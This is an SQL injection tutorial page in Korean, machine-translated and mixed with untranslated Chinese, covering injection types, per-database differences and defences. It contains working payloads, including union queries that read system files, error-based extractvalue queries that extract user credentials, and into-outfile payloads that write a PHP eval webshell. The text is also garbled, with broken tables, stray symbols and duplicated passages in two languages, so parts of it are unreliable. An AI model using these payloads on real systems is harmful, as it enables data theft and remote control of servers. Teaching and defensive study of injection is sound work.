이 글에서는 SQL 인젝션에 대해 알려드립니다. SQL 인젝션은 클라이언트가 보낸 데이터를 서버가 엄격하게 검증하지 않아 서버 측 SQL 문을 악의적으로 수정하여 성공적으로 실행하는 행위입니다. 모두에게 도움이 됩니다.
SQL이란 무엇인가요?
SQL(Structured Query Language)은 데이터베이스의 표준 데이터 쿼리에 사용되는 특수 프로그래밍 언어입니다. 1986년 10월 미국표준협회(American National Standards Institute)는 SQL을 표준화하여 관계형 데이터베이스 시스템의 표준 언어로 사용했습니다. 1987년에는 국제표준화기구(International Standards Organization)의 지원을 받아 국제표준이 되었습니다.
SQL 인젝션이란
SQL 인젝션은 클라이언트가 보낸 데이터를 서버가 엄격하게 검증하지 않아 서버 측 SQL 문을 악의적으로 수정하여 성공적으로 실행시키는 행위입니다.
취약점의 원리
SQL Note⼊ 공격 해당 동작은 사용자가 제어할 수 있는 매개변수에 SQL 구문을 주입하고, 원본 SQL 구조를 파괴하며, 프로그램 작성 시 예상치 못한 결과를 얻는 공격 동작으로 설명할 수 있습니다. 그 원인은 다음 두 가지 이유가 중첩된 것으로 볼 수 있다.
- 프로그램과 데이터베이스 간의 상호 작용을 처리할 때 프로그래머는 문자열 접합을 사용하여 SQL 문을 구성합니다.
- 사용자가 제어할 수 있는 매개 변수가 충분히 필터링되지 않아 매개 변수 내용이 SQL 문에 접합됩니다
취약점의 원인
- 사용자가 입력을 제어할 수 있음
- 입력 확인이 부족하여 사용자가 문의 일부로 제출한 불법 데이터를 SQL 문에서 실행함
SQL 주입이 있는 이유
- 코드 일치 SQL 문으로 필터링하는 매개변수는 엄격하지 않습니다
- 프레임워크의 보안 구성이 활성화되지 않았습니다. 예: PHP의 Magic_quotes_gpc
- 프레임워크의 안전한 쿼리 방법이 사용되지 않습니다
- 테스트 인터페이스가 삭제되지 않습니다
- 방화벽이 활성화되어 있지 않습니다
- 다른 보안 보호 장치는 사용되지 않습니다. 장치
삽입 지점의 가능한 위치
SQL 주입 취약점의 원리에 따라 사용자는 "제어 가능한 매개 변수"에 SQL을 주입하여 발급합니다. 즉, 웹 애플리케이션이 데이터베이스 쿼리가 있는 한 SQL 삽입 가능성이 있는 곳은 일반적으로
- GET 데이터
- POST 데이터
- 쿠키 데이터
- HTTP입니다. 헤더(HTTP 헤더의 다른 필드)
취약성 위험
- 데이터베이스 정보 유출, 획득, 중요 데이터 수정: 데이터베이스에 저장된 사용자의 개인 정보(계정, 비밀번호) 유출
- 우회 로그인 확인: 범용 비밀번호를 사용하여 웹사이트 백엔드 등에 로그인하세요.
- 파일 시스템 작업: 디렉터리 나열, 파일 읽기, 쓰기 등.
- 웹 페이지 변조: 데이터베이스를 작동하여 특정 웹페이지를 변조하고, 네트워크 말 링크를 삽입하고,
- 레지스트리 작업: 레지스트리 읽기, 쓰기, 삭제 등
- 시스템 명령 실행: 원격으로 명령 실행
- 서버는 원격으로 제어되며 트로이 목마가 심어져 있음: 해커가 운영 체제를 수정하거나 제어할 수 있음 system
제출 방법
제출 방법에는 get, post, cookie, request 등이 있습니다.
그 중: 요청 지원 정확성이 좋습니다. get 모드, post 모드 또는 쿠키 모드에서 매개변수를 제출할 수 있습니다. 인젝션 포인트
Attack ideas | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
통합 주입 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
데이터베이스 오류 정보를 표시할지 여부, 에코된 페이지가 다른지 여부(문자 유형 또는 숫자 유형)' 或"
| 오류 보고 주입및 1=1 또는 및 1=2 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Boolean blind 주입 | and sleep(5) | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
지연 주입 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
경로를 가져오는 일반적인 방법: | |
---|---|
Baidu를 사용하지 말고 Google을 사용하여 inurl:phpinfo를 검색하세요. php |
|
파일 읽기 및 쓰기를 위한 SQL 주입 | SQL 주입 취약점을 사용하여 파일을 읽고 쓸 수 있습니다. |
1. 데이터베이스는 파일 읽기 및 쓰기를 지원합니다.
🎜여기에는secure_file_priv
변수가 포함되며, 이는 상위 버전의 mysql 데이터베이스에서 제한됩니다. 파일 가져오기 및 수출 작업. 이 매개변수를 구성하려면 my.ini 구성 파일을 수정하고 mysql 서비스를 다시 시작해야 합니다. [Phpstudy에서는 기본값이 NULL이며 파일 읽기 및 쓰기를 허용하지 않습니다.] 🎜🎜🎜🎜🎜🎜🎜매개변수 🎜🎜 의미 🎜🎜 🎜🎜🎜🎜 secure_file_priv=NULL🎜🎜 가져오기 및 내보내기 작업을 허용하지 않도록 mysqld를 제한하세요🎜🎜🎜🎜secure_file_priv='c:/a/'🎜🎜는 mysqld의 가져오기 및 내보내기 작업을 고정 디렉터리로 제한하며 하위 디렉터리는 valid🎜🎜🎜🎜secure_file_priv =🎜🎜mysqld🎜🎜🎜🎜 가져오기 및 내보내기 작업에 제한이 없습니다.修改配置文件,对读写不做限制,文件路径C:\phpStudy\MySQL\my.ini
,该操作比较敏感,需要在mysql的配置文件中操作,在phpmyadmin网页中不能修改
2. 当前用户具有文件权限
- 获知当前用户和主机名
?id=-1'union select 1,current_user(),3 --+
- 查看有无权限
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
方法2:
select File_priv from mysql.user where user="root" and host="localhost";
3. 知道文件绝对路径
- 读取文件,使用 load_file
下面两种方法一样
?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+ ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+
- 写入文件,使用 into_outfile
这里需要注意,写16进制是直接写,写明文的话,需要用引号给包住
写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址
# 1. 直接写 ?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+
写一句话木马
# 1. 直接写 ?id=1' and 1=2 union select 1,'=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+ # 2. 改写成16进制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+
查询方式及报错盲注⭐
在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。
更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》
查询方式
重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明
- select:查询数据在网站应用中进行数据显示查询操作
举例:select * from news where id=$id
- insert:插入数据在网站应用中进行用户注册添加等操作
举例:insert into news(id,url,text) values(2,'x','$t')
- delete:删除数据后台管理里面删除文章删除用户等操作
举例:delete from news where id=$id
- update更新数据会员或后台中心数据同步或缓存等操作
举例:update user set pwd='$p' where id=2 and username='admin'
- order by排序数据一般结合表名或列名进行数据排序操作
举例:select * from news order by $id
举例:select id,name,price from news order by $order
报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(不回显)
regexp,like,ascii,left,ord,mid基于时间的SQ盲注-延时判断(不回显)
if,sleep基于报错的SQL盲注-(强制)报错回显
floor,updatexml,extractvalue
报错模板:https://www.jianshu.com/p/bc35f8dd4f7c
报错注入函数
- floor()
- floor(x),返回小于或等于x的最大整数。
- payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
- x表示concat(database(),rand(0)*2),rand(0)以0为随机种子产生0-1之间的随机数,*2产生0-2之间的随机数。
- 报错原因:主键重复,必需:count()、rand()、group by
- 分析链接:https://xz.aliyun.com/t/253#toc-2
- exp()
- exp(x)返回e^x。
- 当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错
- payload:id =1 and EXP(~(SELECT * from(select user())a))
- updatexml()
利用的就是mysql函数参数格式错误进行报错注入。
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
- 函数语法解析:
- XML_document:是字符串String格式,为XML文档对象名称
- Xpath_string:Xpath格式的字符串
- new_value:string格式,替换查找到的符合条件的数据
适用版本是:5.1.5+
利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
- extractvalue()
利用的原理是xpath格式不符报错注入。
函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+
1. 获取当前是数据库名称及使用mysql数据库的版本信息: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) 2. 获取当前注入点的用户权限信息及操作系统版本信息: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e)) 3. 获取当前位置所用数据库的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e)) 4. 获取数据表信息: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) 5. 获取users数据表的列名信息: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) 6. 获取对应的列名的信息(username\password): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
二次注入
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
原理
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes
或者是借助 get_magic_quotes_gpc
对其中的特殊字符进行了转义,但是addslashes
有一个特点就是虽然参数在过滤后会添加\
进行转义,但是\
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
实施步骤
- 插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
- 引用恶意数据
举例
这里使用的是sql-libs靶场的第24关
- 首先看一下最开始的时候,靶机的数据库是什么样子的,这里以其中的用户dhakkan来演示
- 注册一个新用户
注册了一个新用户之后的数据库如下
新用户登录,并重置密码
查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变
- 레벨 24 소스코드에서 아래와 같이 그 이유를 알 수 있다
Stacked query
Stackedjection(스택 인젝션)이라는 명사의 의미를 보면, 여러 개의 SQL 문(여러 개)이 함께 실행됩니다. 이는 실제 애플리케이션에서도 마찬가지입니다. mysql에서는 주로 명령줄에서 ;
가 각 명령문의 끝에 추가되어 명령문의 끝을 나타냅니다. 이런 식으로 여러 문장을 함께 사용할 수 있는지 생각해 보았습니다. 그래서 스택 주입(스택 쿼리라고도 함)이 나타났습니다;
表示语句结束。这样我们就想到了是不是可以多句一起使用。于是出现了堆叠注入(又称堆叠查询)
注意事项:
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁
DNSlog
DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。更多操作参见浅析DNSlog在渗透测试中的实战技巧
脑图
常见数据库,及注入相关⭐
MySQL、SQLServer、Oracle、PostgreSQL、Access五种数据库应该是目前市面上最流行的数据库了。我们进行渗透测试,碰到最多的也是这几种数据库。本文就这几种数据库在注入时的相同点和不同的做一下统计。
注释符、数据库端口
MySQL | SQLServer | Oracle | PostgreSQL | Access | |||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
单行注释 | # |
-- |
-- |
-- |
无 | ||||||||||||||||||||||||||||||
多行注释 | /**/ |
/**/ |
/**/ |
/**/ | 참고:DNSlog | ||||||||||||||||||||||||||||||
Brain Map | 일반적인 데이터베이스 및 주입 관련⭐ | MySQL, SQLServer, Oracle, PostgreSQL 및 Access는 현재 시장에서 가장 인기 있는 데이터베이스여야 합니다. 침투 테스트를 수행할 때 가장 많이 접하게 되는 데이터베이스 유형은 다음과 같습니다. 이 기사에서는 주입 중에 이러한 유형의 데이터베이스 간의 유사점과 차이점에 대한 통계를 작성합니다. |
댓글, 데이터베이스 포트
-- 🎜🎜-- 🎜🎜-- 🎜🎜None🎜🎜🎜🎜여러 줄 주석🎜🎜/ * */ 🎜🎜/**/🎜🎜/**&*/🎜🎜None🎜🎜🎜🎜데이터베이스 포트🎜🎜3306🎜🎜1433🎜🎜1521🎜🎜5432🎜🎜파일 데이터베이스이므로 no 포트는 필수입니다. 아니요. 🎜🎜🎜🎜数据库文件后缀名
特有的数据库
查看当前用户或权限
查询当前用户 select user(); select substring_index(user(), '@', 1) ; 查询当前用户的权限 select * from mysql.user where user = substring_index(user(), '@', 1) ;
判断是否是SA权限select is_srvrolemember('sysadmin') 判断是否是db_owner权限 select is_member('db_owner')判断是否是public权限select is_srvrolemember('public')
查看当前用户select * from user_users;查看当前用户拥有的角色 select * from session_roles;查看当前用户拥有的权限select * from session_privs;
select user #查看用户select current_user #查看当前用户
Access数据库是文件类型数据库,没有用户和权限的概念 ASCII转换函数
不同数据库注入结果的区别⭐
Sql注入中连接字符串常用函数在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有 concat()函数不使用字符串连接函数时: 但是这里存在的一个问题是,当使用union联合注入时,我们都知道,联合注入要求前后两个选择的列数要相同,这里id,username是两个列,当我们要一个列的时候,(当然不排除你先爆出id,再爆出username,分两次的做法)该怎么办?答案就是
concat_ws 函数使用方法:
注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。 group_concat 函数基本查询 mysql> select * from aa; +------+------+ | id| name | +------+------+ |1 | 10| |1 | 20| |1 | 20| |2 | 20| |3 | 200 | |3 | 500 | +------+------+ 6 rows in set (0.00 sec) 以id分组,把name字段的值打印在一行,逗号分隔(默认) mysql> select id,group_concat(name) from aa group by id; +------+--------------------+ | id| group_concat(name) | +------+--------------------+ |1 | 10,20,20| |2 | 20 | |3 | 200,500| +------+--------------------+ 3 rows in set (0.00 sec) 以id分组,把name字段的值打印在一行,分号分隔 mysql> select id,group_concat(name separator ';') from aa group by id; +------+----------------------------------+ | id| group_concat(name separator ';') | +------+----------------------------------+ |1 | 10;20;20 | |2 | 20| |3 | 200;500 | +------+----------------------------------+ 3 rows in set (0.00 sec) 以id分组,把去冗余的name字段的值打印在一行, mysql> select id,group_concat(distinct name) from aa group by id; +------+-----------------------------+ | id| group_concat(distinct name) | +------+-----------------------------+ |1 | 10,20| |2 | 20 | |3 | 200,500 | +------+-----------------------------+ 3 rows in set (0.00 sec) 以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序 mysql> select id,group_concat(name order by name desc) from aa group by id; +------+---------------------------------------+ | id| group_concat(name order by name desc) | +------+---------------------------------------+ |1 | 20,20,10 | |2 | 20| |3 | 500,200| +------+---------------------------------------+ 3 rows in set (0.00 sec) 补充知识—数据库结构数据库结构:数据库 —> 表名 —> 列名 —> 数据
use dvwa; # 选中dvwa数据库 show tables; # 查看dvwa数据库中有哪些表
补充知识—关于SQL的一些常识注释
点数据库中,符号 常用语句和函数推荐阅读:SQL注入必备知识初级
5:select 函数名; 查询某内容 防御措施防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种: 代码层
强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击
例如Mybatis中使用 Thinkphp框架的安全写法 安全的替换写法 $data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入 $data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//类型约束 $data=M('Member')->where('id='.intval($_GET['id']))->find();//类型转换 $data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定 $data=M('Member')->where("id=%d",array($_GET['id']))->find();//预处理机制 //不安全的写法举例 $_GET['id']=8;//希望得到的是正整数 $data=M()->query('SELECT * FROM `member` WHERE id='.$_GET['id']);//执行的SQL语句 $_GET['id']='8 UNION SELECT * FROM `member`';;//隐患:构造畸形语句进行注入; 数据库加固主要包括:
其他例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。使用WAF。 相关推荐:《mysql教程》 |
위 내용은 SQL 삽입에 대한 이해를 안내합니다(세부정보).의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

실제 애플리케이션에서 SQL은 주로 데이터 쿼리 및 분석, 데이터 통합 및보고, 데이터 청소 및 전처리, 고급 사용 및 최적화에 사용되며 복잡한 쿼리를 처리하고 일반적인 오류를 피합니다. 1) 데이터 쿼리 및 분석을 사용하여 가장 많은 판매 제품을 찾을 수 있습니다. 2) 데이터 통합 및보고는 가입 운영을 통해 고객 구매 보고서를 생성합니다. 3) 데이터 청소 및 전처리는 비정상적인 연령 기록을 삭제할 수 있습니다. 4) 고급 사용 및 최적화에는 창 함수 사용 및 인덱스 생성이 포함됩니다. 5) CTE 및 조인은 SQL 주입과 같은 일반적인 오류를 피하기 위해 복잡한 쿼리를 처리하는 데 사용될 수 있습니다.

SQL은 관계형 데이터베이스를 관리하는 표준 언어이며 MySQL은 특정 데이터베이스 관리 시스템입니다. SQL은 통합 구문을 제공하며 다양한 데이터베이스에 적합합니다. MySQL은 가볍고 오픈 소스이며 안정적인 성능을 보이지만 빅 데이터 처리에는 병목 현상이 있습니다.

SQL 학습 곡선은 가파르지만 연습과 핵심 개념을 이해함으로써 마스터 할 수 있습니다. 1. 기본 작업에는 선택, 삽입, 업데이트, 삭제가 포함됩니다. 2. 쿼리 실행은 분석, 최적화 및 실행의 세 단계로 나뉩니다. 3. 기본 사용법은 직원 정보 쿼리와 같은 것이며 고급 사용량은 결합 연결 테이블 사용과 같은 것입니다. 4. 일반적인 오류에는 별칭 및 SQL 주입을 사용하지 않는 것이 포함되며,이를 방지하려면 매개 변수화 쿼리가 필요합니다. 5. 필요한 열을 선택하고 코드 가독성을 유지함으로써 성능 최적화가 달성됩니다.

SQL 명령은 MySQL에서 DQL, DDL, DML, DCL 및 TCL의 5 가지 범주로 나뉘어 데이터베이스 데이터를 정의, 운영 및 제어하는 데 사용됩니다. MySQL은 어휘 분석, 구문 분석, 최적화 및 실행을 통해 SQL 명령을 처리하고 인덱스 및 쿼리 최적화기를 사용하여 성능을 향상시킵니다. 사용의 예로는 데이터 쿼리에 대한 선택 및 다중 테이블 작업에 가입하는 것이 포함됩니다. 일반적인 오류에는 구문, 논리 및 성능 문제가 포함되며 최적화 전략에는 인덱스 사용, 쿼리 최적화 및 올바른 저장 엔진 선택이 포함됩니다.

SQL의 고급 쿼리 기술에는 하위 쿼리, 창 함수, CTE 및 복잡한 조인이 포함되어 복잡한 데이터 분석 요구 사항을 처리 할 수 있습니다. 1) 하위 쿼리는 각 부서에서 급여가 가장 높은 직원을 찾는 데 사용됩니다. 2) 창 함수와 CTE는 직원 급여 성장 동향을 분석하는 데 사용됩니다. 3) 성능 최적화 전략에는 인덱스 최적화, 쿼리 재 작성 및 파티션 테이블 사용이 포함됩니다.

MySQL은 표준 SQL 기능 및 확장을 제공하는 오픈 소스 관계형 데이터베이스 관리 시스템입니다. 1) MySQL은 한계 조항을 작성, 삽입, 업데이트, 삭제 및 확장과 같은 표준 SQL 작업을 지원합니다. 2) Innodb 및 Myisam과 같은 스토리지 엔진을 사용하여 다양한 시나리오에 적합합니다. 3) 사용자는 테이블 작성, 데이터 삽입 및 저장 프로 시저를 사용하는 것과 같은 고급 기능을 통해 MySQL을 효율적으로 사용할 수 있습니다.

sqlmakesdatamanagementaCcessibletoallbyprovingasimpleyetpooltooltoolforqueryinganddatabases.1) itworkswithrelationalDatabases.2) sql'sstrengthliesinfiltering, andjoiningdata, andjoiningdata, andjoiningdata

SQL 인덱스는 영리한 설계를 통해 쿼리 성능을 크게 향상시킬 수 있습니다. 1. B- 트리, 해시 또는 전문 지수와 같은 적절한 인덱스 유형을 선택하십시오. 2. 복합 인덱스를 사용하여 멀티 필드 쿼리를 최적화하십시오. 3. 데이터 유지 보수 오버 헤드를 줄이려면 과도한 인덱스를 피하십시오. 4. 불필요한 인덱스 재건 및 제거를 포함하여 정기적으로 인덱스를 유지합니다.


핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

VSCode Windows 64비트 다운로드
Microsoft에서 출시한 강력한 무료 IDE 편집기

맨티스BT
Mantis는 제품 결함 추적을 돕기 위해 설계된 배포하기 쉬운 웹 기반 결함 추적 도구입니다. PHP, MySQL 및 웹 서버가 필요합니다. 데모 및 호스팅 서비스를 확인해 보세요.

ZendStudio 13.5.1 맥
강력한 PHP 통합 개발 환경

Dreamweaver Mac版
시각적 웹 개발 도구

MinGW - Windows용 미니멀리스트 GNU
이 프로젝트는 osdn.net/projects/mingw로 마이그레이션되는 중입니다. 계속해서 그곳에서 우리를 팔로우할 수 있습니다. MinGW: GCC(GNU Compiler Collection)의 기본 Windows 포트로, 기본 Windows 애플리케이션을 구축하기 위한 무료 배포 가능 가져오기 라이브러리 및 헤더 파일로 C99 기능을 지원하는 MSVC 런타임에 대한 확장이 포함되어 있습니다. 모든 MinGW 소프트웨어는 64비트 Windows 플랫폼에서 실행될 수 있습니다.
